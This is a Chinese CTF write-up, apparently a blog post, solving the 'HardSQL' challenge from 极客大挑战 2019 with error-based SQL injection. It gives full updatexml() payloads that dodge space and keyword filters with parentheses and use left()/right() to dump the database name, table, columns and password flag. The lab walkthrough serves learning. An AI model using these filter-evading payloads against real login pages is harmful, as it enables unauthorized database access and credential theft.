当前位置: 首页 > article >正文

[极客大挑战 2019]HardSQL 1

[极客大挑战 2019]HardSQL 1

打开实例,发现是个登陆页面,查看源代码,发现又是GET提交check.php

image-20241108154850115

万能密码尝试

image-20241108160504284.png

不太行,怀疑字段或者空格被过滤,尝试闭合不加其他东西

确认空格、union、and等都被过滤了,尝试加个括号

image-20241108161347316

未出现你可知被我速住了,臭弟弟字样,()未被过滤吧,尝试采用updatexml()函数,构造payload(查库):

?username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=admin

成功拿到当前数据库名geek,确定为XPATH报错注入

查表

?username=1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23&password=admin

image-20241108162722099

获得表名H4rDsq1,查字段

?username=1'or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=admin

image-20241108163149370

回显列太多,采用group_concat()包裹回显字段

?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=admin

成功获得字段列表:id username password

image-20241108163317986

查字段数据

?username=1'or(updatexml(1,concat(0x7e,(select(concat(id,',',username,',',substring(password)))from(H4rDsq1)),0x7e),1))%23
&password=admin

成功看到flag,因为长度问题,这边的flag显示并不完整

image-20241108163946605

尝试使用substring函数,发现被过滤

?username=1'or(updatexml(1,concat(0x7e,(select(concat(id,',',username,',',substring(password,0,100)))from(H4rDsq1)),0x7e),1))%23
&password=admin

image-20241108164218009

思考片刻,决定采用left()right()函数

首先先计算这边的最大长度,为33个字符

image-20241108164634465

所以分两次拿取flag

left(),拿区第一段

?username=1'or(updatexml(1,concat(0x7e,(select(concat(left(password,33)))from(H4rDsq1)),0x7e),1))%23
&password=admin

image-20241108164823571

flag{09f315c2-c334-4f3a-8de9-dc

right(),拿取第二段,第二段需要包含},经过多次尝试为偏移31位

?username=1'or(updatexml(1,concat(0x7e,(select(concat(right(password,31)))from(H4rDsq1)),0x7e),1))%23
&password=admin

image-20241108165157626

去除重复的文本,最终flag为

flag{09f315c2-c334-4f3a-8de9-dc6df0232a40}

http://www.kler.cn/a/448102.html

相关文章:

  • Leetcode中最常用的Java API——util包
  • AIGC-------AI生成内容如何赋能AR和VR体验?
  • 基于微信小程序的乡村旅游系统
  • PHP MySQL 插入多条数据
  • 如何缩放组件
  • Nginx的stream模块代理四层协议TCP的流量转发
  • 豆包MarsCode:小T的密码变换规则
  • RLDP(快速链路检测)防环
  • Rust vs C: PNG解码器性能之争的启示
  • Apple Vision Pro 开发教程:通过 TestFlight 把开发的程序安装到其他的设备上测试
  • C++算法第十二天
  • 一起学Git【番外篇:如何在Git中新建文件】
  • OpenCV图像分割
  • UITableView实现通讯录效果
  • 【漏洞-Oracle】未设置口令复杂度校验、密码有效期
  • ELK系列-(六)Redis也能作为消息队列?(上)
  • 使用Python实现量子密钥分发:构建安全通信的未来
  • scala基础学习(数据类型)-字符串
  • Oracle筑基篇-调度算法-LRU的引入
  • 【MogDB】MogDB5.2.0重磅发布第十篇-支持PLSQL嵌套子程序
  • React:组件、状态与事件处理的完整指南
  • 软件测试之边界值分析法
  • 【分享-POI工具,Excel字段取值容错小工具】
  • 基于Controller模式部署RocketMQ集群
  • 【蓝桥杯选拔赛真题96】Scratch风车旋转 第十五届蓝桥杯scratch图形化编程 少儿编程创意编程选拔赛真题解析
  • tomcat的安装以及配置(基于linuxOS)